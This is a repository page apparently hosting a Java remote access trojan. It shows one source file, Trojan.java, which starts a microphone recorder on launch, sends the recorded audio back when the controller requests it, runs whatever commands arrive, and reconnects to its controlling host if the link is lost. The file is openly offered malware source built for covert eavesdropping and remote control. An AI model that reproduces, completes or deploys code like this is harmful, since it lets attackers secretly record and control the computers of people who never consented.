java remote access trojanc
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

50 lines
1.2 KiB

9 years ago
9 years ago
9 years ago
9 years ago
9 years ago
9 years ago
9 years ago
  1. package de.sogomn.rat;
  2. import de.sogomn.rat.packet.IPacket;
  3. import de.sogomn.rat.packet.VoicePacket;
  4. import de.sogomn.rat.util.VoiceRecorder;
  5. public final class Trojan implements IConnectionObserver {
  6. private VoiceRecorder voiceRecorder;
  7. private static final int VOICE_BUFFER_SIZE = 1024 << 6;
  8. public Trojan() {
  9. voiceRecorder = new VoiceRecorder(VOICE_BUFFER_SIZE);
  10. voiceRecorder.start();
  11. }
  12. private void handleVoicePacket(final VoicePacket packet) {
  13. final byte[] data = voiceRecorder.getLastRecord();
  14. packet.setData(data);
  15. }
  16. @Override
  17. public void packetReceived(final ActiveConnection client, final IPacket packet) {
  18. final Class<? extends IPacket> clazz = packet.getClass();
  19. if (clazz == VoicePacket.class) {
  20. final VoicePacket voice = (VoicePacket)packet;
  21. handleVoicePacket(voice);
  22. }
  23. packet.execute(client);
  24. }
  25. @Override
  26. public void disconnected(final ActiveConnection client) {
  27. final String address = client.getAddress();
  28. final int port = client.getPort();
  29. voiceRecorder.stop();
  30. client.setObserver(null);
  31. Ratty.connectToHost(address, port);
  32. }
  33. }